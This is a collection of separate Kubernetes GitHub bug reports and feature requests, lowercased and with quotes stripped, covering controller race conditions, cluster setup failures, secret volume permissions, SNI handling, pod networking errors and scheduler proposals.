10.249.244.52   node2   <none>\r  root@node1 ~   \r  root@node1 ~   \r  root@node1 ~   \r  root@node1 ~   \r  root@node1 ~   kubectl -s https://10.249.244.51:6443  logs kube-apiserver-node2 -n kube-system\r error from server  internalerror : internal error occurred: authorization error  user=kube-apiserver-kubelet-client, verb=get, resource=nodes, subresource=proxy \r  root@node1 ~   \r  root@node1 ~   \r  root@node1 ~   kubectl -s https://10.249.244.51:6443  logs etcd-node2 -n kube-system              \r error from server  internalerror : internal error occurred: authorization error  user=kube-apiserver-kubelet-client, verb=get, resource=nodes, subresource=proxy

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r resync period for horizontalpodautoscaler controller is set to 15 seconds in order to update hpas every 15 seconds. sometimes updates are skipped and period between two updates is 30 seconds.\r \r   what you expected to happen  :\r hpa should be updated every 15 seconds.\r \r   how to reproduce it  as minimally and precisely as possible   :\r add debugs to hpa controller showing how often hpas are processed. create hpa.\r   anything else we need to know?  :\r hpa controller uses rate ratelimitingqueue:\r https://github.com/kubernetes/kubernetes/blob/bb7973a34c209f74af398354fb0247598aa20766/pkg/controller/podautoscaler/horizontal.go l120\r new requests are always added with 15 seconds delay:\r https://github.com/kubernetes/kubernetes/blob/bb7973a34c209f74af398354fb0247598aa20766/pkg/controller/podautoscaler/horizontal.go l183\r if request for  the given hpa is in the queue then newly added request is skipped. requests are added and removed from the queue at the same moment so there is a race condition. see following scenario:\r 00:00:00 - resync adds request to queue to be executed at 00:00:15\r 00:00:15 - resync adds next request to queue to be executed at 00:00:30 but it is skipped because previous request is still in the queue\r 00:00:15 - request added at 00:00:00 is executed\r 00:00:30 - resync adds next request to queue to be executed at 00:00:45\r 00:00:45 - request added at 00:00:30 is executed\r in above scenario hpa wasn't updated between 00:00:15 and 00:00:45.\r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r - cloud provider or hardware configuration: gke\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r failed to setup cluster via  local-up-cluster.sh  in master branch.\r \r    \r use 'kubectl --kubeconfig=/var/run/kubernetes/admin-kube-aggregator.kubeconfig' to use the aggregated api server\r hack/local-up-cluster.sh: line 633: node_cidr_args @ : unbound variable\r cleaning up...\r hack/local-up-cluster.sh: line 339: wait_for: no record of process 9141\r ...\r 2019/03/31 19:46:32  warning  this certificate lacks a \ hosts\  field. this makes it unsuitable for\r websites. for more information see the baseline requirements for the issuance and management\r of publicly-trusted certificates, v.1.1.6, from the ca/browser forum  https://cabforum.org ;\r specifically, section 10.2.3  \ information requirements\  .\r /go/src/k8s.io/kubernetes/hack/lib/util.sh: line 562:  8653 terminated              etcd --advertise-client-urls \ ${kube_integration_etcd_url}\  --data-dir \ ${etcd_dir}\  --listen-client-urls \ ${kube_integration_etcd_url}\  --debug 2> \ ${etcd_logfile}\  > /dev/null\r the connection to the server localhost:6443 was refused - did you specify the right host or port?\r kube-dns addon successfully deployed.\r hack/local-up-cluster.sh: line 782: cni_conf_dir_args @ : unbound variable\r cleaning up...\r    \r \r perhaps related with https://github.com/kubernetes/kubernetes/pull/75662.\r \r @s-ito-ts @dims \r \r   what you expected to happen  :\r \r run  local-up-cluster.sh  without error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r ./hack/local-up-cluster.sh\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r  \r pod with priorityclass  system-node-critical cluster-node-critical do not run in  kube-system  would not be effective, but have not notify users, which may cause some potential issues.\r \r   what you expected to happen  :\r \r pod with priorityclass  system-node-critical cluster-node-critical should be forbidden when submitted not in  kube-system  using validation\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

as per @brendandburns 's comment on: https://github.com/kubernetes/kubernetes/issues/12716 longer term, we should error out when a user tries to user type  loadbalancer  with no cloud provider activated / supplied.

bug report      kubernetes version:   client version: 1.4.0 server version 1.4.0    environment:   - cloud provider: gcp/gke  google container engine  - os in container: centos 7 - kernel in container: 3.16.7-ckt25-2    what happened  : attempting to use the \ defaultmode\  or \ mode\  permissions option for secrets recently added in kubernetes 1.4.0. does not actually apply requested permissions on files in mount point. followed documentation here: http://kubernetes.io/docs/user-guide/secrets/   i've tried it two ways: - first, define the secret:      {         \ kind\ : \ secret\ ,         \ apiversion\ : \ v1\ ,         \ metadata\ : {             \ name\ : \ db-secret\ ,             \ namespace\ : \ default\          },         \ data\ : {             \ dbcert\ : \ <base64 encoded - snip>\ ,             \ dbkey\ : \ <base64 encoded - snip>\ ,             \ dbchain\ : \ <base64 encoded - snip>\ ,             \ dhparam\ : \ <base64 encoded - snip>\          } }     - then, call the secret to be mounted either with defaultmode for entire mount, or with mode for each 'file': 1. permissions specified per file:              \ volumes\ :  {             \ name\ : \ secrets\ ,             \ secret\ : {                 \ secretname\ : \ db-secret\ ,                 \ items\ :  {                     \ key\ : \ dbcert\ ,                     \ path\ : \ dbcert\ ,                     \ mode\ : 420                 },{                     \ key\ : \ dbkey\ ,                     \ path\ : \ dbkey\ ,                     \ mode\ : 256                 },{                     \ key\ : \ dbchain\ ,                     \ path\ : \ dbchain\ ,                     \ mode\ : 420                 }              }         }      1. permissions specified for entire mounted db-secret volume:                  \ volumes\ :   <snip other volumes>             {                 \ name\ : \ secrets\ ,                 \ secret\ : {                     \ secretname\ : \ db-secret\ ,                     \ defaultmode\ : 256                 }             }                   -   results:     either way, the files remain with the default secrets permissions of 644:      bash-4.2$ pwd /etc/secrets/..data bash-4.2$ ls -la total 12 drwxr-xr-x 2 root root  100 oct 17 20:48 . drwxrwxrwt 3 root root  140 oct 17 20:48 .. -rw-r--r-- 1 root root 2533 oct 17 20:48 dbcert -rw-r--r-- 1 root root 2106 oct 17 20:48 dbchain -rw-r--r-- 1 root root 1708 oct 17 20:48 dbkey      i see nothing in release notes for any kubernetes version post-1.4.0 that would indicate a discovered bug that's been fixed. i haven't been able to find any filed bugs about this. am i doing something wrong? i've read the docs over and over, it seems pretty simple.    what you expected to happen  : when the container starts, the files in the secrets  db-secret  volume mount should either all be chmod 400  when using defaultmode with decimal 256 , or at least the dbkey file should be chmod 400  when using mode per secret value with decimal 256 .    how to reproduce it   create a secret bundle, upload to the gke cluster, then define a pod to mount that secret as a volume with defaultmode or mode options specified to chmod the secret files to a more restrictive acl.    anything else do we need to know  : i originally attempted to use this with client/server 1.3.7, not realizing the feature s  were added in 1.4.0, and was getting a deployment error that defaultmode was an invalid option. found that it was added in 1.4.0, upgraded my gke cluster and my local client , and re-deployed. no errors now, but the permissions requested aren't actually applied.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : fluentd timezone time_format\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what happened  :\r \r log lines from docker have the wrong timestamp.\r \r   anything else do we need to know  :\r \r we are building a custom docker image for  fluentd/td-agent which is based on your dockerfile but with some slight changes. one of which is that we set the timezone to something else than utc. in this case fluentd will produce wrong timestamps for log lines since the  time_format  https://github.com/kubernetes/kubernetes/blob/53b43d6f8f505834b95967c5a8804bf401ad01e7/cluster/addons/fluentd-elasticsearch/fluentd-es-image/td-agent.conf l116  string only includes a simple z in the end.\r \r changing the time_format to    %y-%m-%dt%h:%m:%s.%n%z    fixed the problem for us.\r \r of course this is not really a bug in kubernetes but changing the default to the above will probably help others in the future.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   no\r \r \r   what keywords did you search in kubernetes issues before filing this one?   sni\r \r ---\r \r   is this a bug report or feature request?   bug\r \r   kubernetes version    use  kubectl version  : 1.6.0\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos 1298.7.0\r -   kernel    e.g.  uname -a  : 4.9.16-coreos-r1\r -   install tools  : manual\r \r \r   what happened  :\r \r when _receiving_ an sni request, apiserver converts it all to lower-case. when parsing  --tls-sni-cert-key , it is case-sensitive. so everything   must   be lower-case in the apiserver option for anything to work.\r \r   what you expected to happen  : ignore case entirely. at the very least, document the limitations.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. run apiserver with option  --tls-sni-cert-key somecert.pem,somekey.pem:domainwithsomeucase.com \r 2. try to connect via openssl  openssl s_client connect serverip:6443 -servername <name> . for _name_, try any of the following; all will return the self-signed cert, rather than the explicitly provided cert.\r       domainwithsomeucase.com\r       domainwithsomeucase.com\r        any case variant you wish \r \r now to make it work:\r \r 1. run apiserver with option  --tls-sni-cert-key somecert.pem,somekey.pem:domainwithsomeucase.com   notice everything lcased \r 2. try to connect via openssl  openssl s_client connect serverip:6443 -servername <name> . for _name_, try any of the following; all will return the correct provided cert, rather than the self-signed cert.\r       domainwithsomeucase.com\r       domainwithsomeucase.com\r        any case variant you wish \r \r \r   anything else we need to know  :\r \r \r

every 2.0s: kubectl get pods --all-namespaces                                                                                                   wed sep 27 12:52:09 2017\r \r namespace     name                                 ready     status              restarts   age\r kube-system   etcd-vw-srv-001                      1/1       running             2          55m\r kube-system   kube-apiserver-vw-srv-001            1/1       running             4          40m\r kube-system   kube-controller-manager-vw-srv-001   1/1       running             2          55m\r kube-system   kube-discovery-1971138125-iigqz      1/1       running             0          55m\r kube-system   kube-dns-2247936740-8uj92            0/3       containercreating   0          55m\r kube-system   kube-proxy-amd64-b7i3j               1/1       running             0          39m\r kube-system   kube-proxy-amd64-d12hh               1/1       running             0          39m\r kube-system   kube-proxy-amd64-nvknq               1/1       running             0          39m\r kube-system   kube-scheduler-vw-srv-001            1/1       running             2          55m\r kube-system   weave-net-8f8pt                      0/2       containercreating   0          37m\r kube-system   weave-net-hwgzx                      0/2       containercreating   0          37m\r kube-system   weave-net-p626f                      0/2       containercreating   0          37m\r \r root@vw-srv-001:~  kubectl describe pod weave-net-8f8pt --namespace=kube-system\r name:           weave-net-8f8pt\r namespace:      kube-system\r node:           vw-srv-001/192.168.1.33\r start time:     wed, 27 sep 2017 12:14:19 +0530\r labels:         name=weave-net\r status:         pending\r ip:             192.168.1.33\r controllers:    daemonset/weave-net\r containers:\r   weave:\r     container id:\r     image:              weaveworks/weave-kube:2.0.4\r     image id:\r     port:\r     command:\r       /home/weave/launch.sh\r     requests:\r       cpu:              10m\r     state:              waiting\r       reason:           containercreating\r     ready:              false\r     restart count:      0\r     liveness:           http-get http://127.0.0.1:6784/status delay=30s timeout=1s period=10s  success=1  failure=3\r     volume mounts:\r       /host/etc from cni-conf  rw \r       /host/home from cni-bin2  rw \r       /host/opt from cni-bin  rw \r       /host/var/lib/dbus from dbus  rw \r       /lib/modules from lib-modules  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from weave-net-token-5lewp  ro \r       /weavedb from weavedb  rw \r     environment variables:\r       hostname:   v1:spec.nodename \r   weave-npc:\r     container id:\r     image:              weaveworks/weave-npc:2.0.4\r     image id:\r     port:\r     requests:\r       cpu:              10m\r     state:              waiting\r       reason:           containercreating\r     ready:              false\r     restart count:      0\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from weave-net-token-5lewp  ro \r     environment variables:\r       hostname:   v1:spec.nodename \r conditions:\r   type          status\r   initialized   true\r   ready         false\r   podscheduled  true\r volumes:\r   weavedb:\r     type:       hostpath  bare host directory volume \r     path:       /var/lib/weave\r   cni-bin:\r     type:       hostpath  bare host directory volume \r     path:       /opt\r   cni-bin2:\r     type:       hostpath  bare host directory volume \r     path:       /home\r   cni-conf:\r     type:       hostpath  bare host directory volume \r     path:       /etc\r   dbus:\r     type:       hostpath  bare host directory volume \r     path:       /var/lib/dbus\r   lib-modules:\r     type:       hostpath  bare host directory volume \r     path:       /lib/modules\r   weave-net-token-5lewp:\r     type:       secret  a volume populated by a secret \r     secretname: weave-net-token-5lewp\r qos class:      burstable\r tolerations:    dedicated=master:equal:noschedule\r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason          message\r   ---------     --------        -----   ----                    -------------   --------        ------          -------\r   38m           14s             175     {kubelet vw-srv-001}                    warning         failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with runcontainererror: \ generateruncontaineroptions: expected 4 fields in selinux; got 1  context:  \ \r \r root@vw-srv-001:~  kubectl logs weave-net-8f8pt --namespace=kube-system\r error from server: a container name must be specified for pod weave-net-8f8pt, choose one of:  weave weave-npc \r root@vw-srv-001:~  kubectl describe pod kube-dns-2247936740-8uj92 --namespace=kube-system\r name:           kube-dns-2247936740-8uj92\r namespace:      kube-system\r node:           vw-srv-001/192.168.1.33\r start time:     wed, 27 sep 2017 11:56:38 +0530\r labels:         component=kube-dns\r                 k8s-app=kube-dns\r                 kubernetes.io/cluster-service=true\r                 name=kube-dns\r                 pod-template-hash=2247936740\r                 tier=node\r status:         pending\r ip:\r controllers:    replicaset/kube-dns-2247936740\r containers:\r   kube-dns:\r     container id:\r     image:              gcr.io/google_containers/kubedns-amd64:1.7\r     image id:\r     ports:              10053/udp, 10053/tcp\r     args:\r       --domain=cluster.local\r       --dns-port=10053\r     limits:\r       cpu:      100m\r       memory:   170mi\r     requests:\r       cpu:              100m\r       memory:           170mi\r     state:              waiting\r       reason:           containercreating\r     ready:              false\r     restart count:      0\r     liveness:           http-get http://:8080/healthz delay=60s timeout=5s period=10s  success=1  failure=1\r     readiness:          http-get http://:8081/readiness delay=30s timeout=5s period=10s  success=1  failure=3\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-2v4u1  ro \r     environment variables:      <none>\r   dnsmasq:\r     container id:\r     image:              gcr.io/google_containers/kube-dnsmasq-amd64:1.3\r     image id:\r     ports:              53/udp, 53/tcp\r     args:\r       --cache-size=1000\r       --no-resolv\r       --server=127.0.0.1 10053\r     limits:\r       cpu:      100m\r       memory:   170mi\r     requests:\r       cpu:              100m\r       memory:           170mi\r     state:              waiting\r       reason:           containercreating\r     ready:              false\r     restart count:      0\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-2v4u1  ro \r     environment variables:      <none>\r   healthz:\r     container id:\r     image:              gcr.io/google_containers/exechealthz-amd64:1.1\r     image id:\r     port:               8080/tcp\r     args:\r       -cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:53 >/dev/null && nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null\r       -port=8080\r       -quiet\r     limits:\r       cpu:      10m\r       memory:   50mi\r     requests:\r       cpu:              10m\r       memory:           50mi\r     state:              waiting\r       reason:           containercreating\r     ready:              false\r     restart count:      0\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-2v4u1  ro \r     environment variables:      <none>\r conditions:\r   type          status\r   initialized   true\r   ready         false\r   podscheduled  true\r volumes:\r   default-token-2v4u1:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-2v4u1\r qos class:      guaranteed\r tolerations:    dedicated=master:noschedule\r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason          message\r   ---------     --------        -----   ----                    -------------   --------        ------          -------\r   57m           57m             1       {default-scheduler }                    normal          scheduled       successfully assigned kube-dns-2247936740-8uj92 to vw-srv-001\r   46m           41m             4       {kubelet vw-srv-001}                    warning         failedmount     mountvolume.setup failed for volume \ kubernetes.io/secret/d129cce3-a34c-11e7-9e6c-2c4d54d1a8d1-default-token-2v4u1\   spec.name: \ default-token-2v4u1\   pod \ d129cce3-a34c-11e7-9e6c-2c4d54d1a8d1\   uid: \ d129cce3-a34c-11e7-9e6c-2c4d54d1a8d1\   with: get https://192.168.1.33:443/api/v1/namespaces/kube-system/secrets/default-token-2v4u1: dial tcp 192.168.1.33:443: getsockopt: connection refused\r   57m           1s              3356    {kubelet vw-srv-001}                    warning         failedsync      error syncing pod, skipping: failed to \ setupnetwork\  for \ kube-dns-2247936740-8uj92_kube-system\  with setupnetworkerror: \ failed to setup network for pod \\\ kube-dns-2247936740-8uj92_kube-system d129cce3-a34c-11e7-9e6c-2c4d54d1a8d1 \\\  using network plugins \\\ cni\\\ : cni config unintialized; skipping pod\ \r \r \r root@vw-srv-001:~  kubectl logs kube-dns-2247936740-8uj92 --namespace=kube-system\r error from server: a container name must be specified for pod kube-dns-2247936740-8uj92, choose one of:  kube-dns dnsmasq healthz \r \r \r \r can any please help me with this..

if a namespaced resource is owned by a cluster scoped resource, and the namespaced dependent is processed   before   the cluster scoped owner has ever been observed by the garbage collector, the dependent will be erroneously deleted. the cause is a race condition in the gc's  virtual node handling  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/garbagecollector/graph_builder.go l377 . currently, virtual nodes always inherit the namespace of the dependent, which is an invalid assumption when:\r \r 1. the owner is cluster scoped\r 2. the owner is namespaced but in a different namespace than the dependent\r \r under these conditions, the dependent will be deleted because the gc has misidentified the location of the owner, causing the dependent reference to always be considered dangling.\r \r i've created some unit and integration tests in a branch which demonstrate the problems and will help serve as verification of the fix:\r \r   a  unit test  https://github.com/ironcladlou/kubernetes/blob/cluster-scoped-owner-gc-fix/pkg/controller/garbagecollector/garbagecollector_test.go l675  which demonstrates some problematic cases and attempts to describe the important behaviors more specifically.\r   an  integration test  https://github.com/ironcladlou/kubernetes/blob/cluster-scoped-owner-gc-fix/test/integration/garbagecollector/garbage_collector_test.go l433  which reproduces  this unit test  https://github.com/ironcladlou/kubernetes/blob/cluster-scoped-owner-gc-fix/pkg/controller/garbagecollector/garbagecollector_test.go l736   the problem reported in this issue . requires  stress  to reproduce.\r \r this was discovered by a test flake in openshift  https://github.com/openshift/origin/issues/17085 . @caesarxuchao has  proposed some possible fixes  https://github.com/openshift/origin/issues/17085 issuecomment-340582560  to the cluster scoped owner bug.\r \r  @kubernetes/sig-api-machinery-bugs \r \r /cc @jim-minter \r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r updating a statefulset with  kubectl apply -f statefulset.yaml  fails if the size of a pvc contained in  volumeclaimtemplates  is equal to  1024gi . validation fails on deepequals as k8s has converted the value to  1ti .\r \r   what you expected to happen  :\r the update to succeed with no validation errors as  1024gi  was the original value supplied.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a statefulset with  volumeclaimtemplates  like so:\r    \r   volumeclaimtemplates:\r   - metadata:\r       name: datadir\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 1024gi\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.2\r - cloud provider or hardware configuration: gke\r

our scheduling slo and associated scalability tests don't involve preemption. we should at least measure the performance impact.\r \r cc/ @bsalamat @shyamjvs \r \r   

currently  node.status.volumesattached  is only for attachdetach controller's use and updated by controller-manager, kubelet only update volumesinuse field, if set  --enable-controller-attach-detach=false  flag for kubelet, and after a while set it to true, then controller cannot get the actual volume attached state in controller reconciler actualstateofworld. is there any reason for this design?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the   customcolumnprinter   https://github.com/kubernetes/kubernetes/blob/9af339885b68990a96470cc4350514d2a1ec30c8/pkg/printers/customcolumn.go l71  mentions that it supports jsonpath. i tried to use jsonpath which worked with  kubectl  directly, but when i attempted to use it with the comment like so\r \r  // +k8s:openapi-gen=x-kubernetes-print-columns:custom-columns=name:.metadata.name,ready:.status.conditions ? @.type == \ ready\   .status,shape:.spec.shape,ocid:.status.id \r \r it generates invalid json since the quotes aren't escaped. i have to escape the quotes manually in the comment in order for it to work  s/\ ready\ /\\\ ready\\\  \r \r   what you expected to happen  :\r \r i expect valid jsonpath to work, so the quotes should be escaped. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a custom resource and generate openapi docs. add the openapi-gen comment above with a jsonpath selector that includes quotes. \r \r   anything else we need to know?  :\r \r the code-generator is latest master. \r \r \r 

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r when setting an http_proxy with an ipv6 address, the is no httpproxy warning.\r \r   what you expected to happen  :\r there should be a warning that a proxy is being used.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use kubeadm with ipv6 addresses, and ipv6 proxy in the environment.\r such as:\r no_proxy=2001:420:2c50:2021::/64\r http_proxy=proxy.example.com:80\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   motivation  \r \r kubernetes has become a popular solution for orchestrating containerized workloads; it has been largely successful in orchestrating serving and storage workloads, and, with native k8s support for spark. meanwhile, the community also try to run machine learning  ml  workloads on kubernetes, e.g.  kubeflow/tf-operator  https://github.com/kubeflow/tf-operator ; during the intergration with  kube-arbitrator  https://github.com/kubernetes-incubator/kube-arbitrator , we identified   first   two requirements to the scheduler:\r \r 1.   coscheduling  : the pods of the job will not start/create untill the job got eough resources for all of its pods\r 2.   job group  : the framework need a group of jobs work together to run, e.g. driver and worker in spark, master and workers in tensorflow\r \r /cc @bsalamat @vishh @jlewi @foxish @kubernetes/sig-scheduling-feature-requests

https://kubernetes.io/docs/concepts/services-networking/service/ headless-services\r \r there isn't a test for this running on windows nodes today. we need to create one that:\r - creates a headless service with multiple instances\r - creates another pod in the same namespace and check that dns resolution returns a records for those pod ips\r \r /milestone v1.14\r 

@colemickens   i think the best thing to do is to add a new row in the table at  docs/getting-started-guides/readme.md  and a new corresponding docs page. you don't need to write anything fancy -- just a few sentences explaining how to use  kube-up  to target azure is fine for now. if you're pressed for time, you don't even need to document the various env vars--you can just say \ see the script for a description of the env var's you'll need to set.\   we can leave the coreos-azure stuff as-is, and figure out how/whether to evolve that separately.  cc/ @errordeveloper  ref/  22231

from the  doc shared with kubernetes-dev mailing list  https://docs.google.com/document/d/1jngrrzymgnxovunnzver_tokh_z11vvskxllxu1gg0a/   all presubmit test jobs: - must finish in less than 30 minutes. - because it's frustrating to have a hard timeout, to keep this rule,   - our actual time goal is 20 minutes.   - human s  need to be alerted or paged if the test run goes above 30 minutes.   - that should be treated as a p0 issue until the time is below 30 minutes again.  if we're over 30 minutes per retest, we can't possibly hope to keep up with demand.

this is not top  i believe  attaching  and  deviceallocator  attribtues of aws cloud provider should be cleaned up as nodes are removed from cluster - https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws.go l367\r \r cc @justinsb @jsafrane

i see:\r \r pkg/volume/util.go\r pkg/volume/util/util.go\r pkg/volume/util/volumehelper/volumehelper.go\r \r can we consolidate them all into one?  or better document what each file is supposed to encompass?\r \r cc @kubernetes/sig-storage-misc

\r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.4\r \r looks like initcontainers which became a key in 1.6 does not support envfrom which makes passing vars from a configmap to init containers painful.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r when i was working on pr https://github.com/kubernetes/kubernetes/pull/46560, i suspect it may be a bug with setannotations  , since it cannot distinguish setannotations targetobj, nil  with setannotations targetobj, {} .\r \r \r   what you expected to happen  :\r setannotations targetobj, {}                   set    annotations: {} \r setannotations targetobj, nil                  remove   annotations  field\r \r   how to reproduce it  as minimally and precisely as possible   :\r see comments here : https://github.com/kubernetes/kubernetes/pull/46560 discussion_r127489967\r \r

\r \r   is this a bug report or feature request?  :\r \r \r    /sig-cli\r \r \r   what happened  :\r     console\r ➜  amd64 git: diff  ./kubectl apply set-last-applied -f ~/template/nginx1.yaml  -o json --dry-run\r {\r   \ metadata\ : {\r     \ annotations\ : {\r       \ kubectl.kubernetes.io/last-applied-configuration\ : \ {\\\ apiversion\\\ :\\\ extensions/v1beta1\\\ ,\\\ kind\\\ :\\\ deployment\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ nginx1\\\ ,\\\ namespace\\\ :\\\ default\\\ },\\\ spec\\\ :{\\\ replicas\\\ :3,\\\ template\\\ :{\\\ metadata\\\ :{\\\ labels\\\ :{\\\ app\\\ :\\\ nginx\\\ }},\\\ spec\\\ :{\\\ containers\\\ : {\\\ image\\\ :\\\ gcr.io/google_containers/nginx-slim:0.8\\\ ,\\\ name\\\ :\\\ nginx\\\ ,\\\ ports\\\ : {\\\ containerport\\\ :80} } }}}}\ \ \r     }\r   }\r }deployment \ nginx1\  configured  dry run \r    \r   what you expected to happen  :\r    \r ➜  amd64 git: diff  ✗ ./kubectl apply set-last-applied -f ~/template/nginx1.yaml  -o json --dry-run\r {\r   \ metadata\ : {\r     \ annotations\ : {\r       \ kubectl.kubernetes.io/last-applied-configuration\ : \ {\\\ apiversion\\\ :\\\ extensions/v1beta1\\\ ,\\\ kind\\\ :\\\ deployment\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ nginx1\\\ ,\\\ namespace\\\ :\\\ default\\\ },\\\ spec\\\ :{\\\ replicas\\\ :3,\\\ template\\\ :{\\\ metadata\\\ :{\\\ labels\\\ :{\\\ app\\\ :\\\ nginx\\\ }},\\\ spec\\\ :{\\\ containers\\\ : {\\\ image\\\ :\\\ gcr.io/google_containers/nginx-slim:0.8\\\ ,\\\ name\\\ :\\\ nginx\\\ ,\\\ ports\\\ : {\\\ containerport\\\ :80} } }}}}\ \ \r     }\r   }\r }\r deployment \ nginx1\  configured  dry run \r    \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl apply set-last-applied -f ~/template/nginx1.yaml  -o json --dry-run \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r in some validation functions, such as  validatecontainerresourcename ...  ,  validateresourcequotaresourcename ...  ,  value returned may be wrong.\r when  validateresourcename ...   return some errors and  len strings.split value, \ /\    != 1 , we may just return  field.errorlist{} , that is not expected\r \r   what you expected to happen  :\r return correctly\r \r

nvidia gpu support is currently available via the kubelet directly. this support has been deprecated in favor of device plugins. since we don't have a device plugin for all distros, deleting the old support isn't advisable just yet. \r i'm hoping we can delete the old implementation which works by setting  accelerators=true  feature gate in v1.10 release cycle.\r \r depends on  54011\r \r  53497 for tracking

is this a bug report or feature request?  :\r  \r this is a followup from  52495 filed separately now that we're not tracking this as part of 1.9 release. the tests have been disabled with  disabledforlargeclusters  tag for now, and this fact will be mentioned in the scalability validation report for v1.9.\r \r this issue tracks fixing the test so the tag can be removed and the test ran again in the large cluster.\r \r /assign @mrhohn \r @kubernetes/sig-network-bugs \r @kubernetes/sig-scalability-bugs \r 

is this a bug report or feature request?:\r \r  \r what happened:\r now the log level is set as a start parameter for kubelet, kube-controller, kube-scheduler...\r when we debug the issues, we may lack of log because the log level is too low. \r if we restart the k8s components with high log level, the issue maybe gone.\r so it is useful that we can set the log level dynamically.\r \r what you expected to happen:\r the log level of k8s components can be set dynamically.\r \r cc @yastij

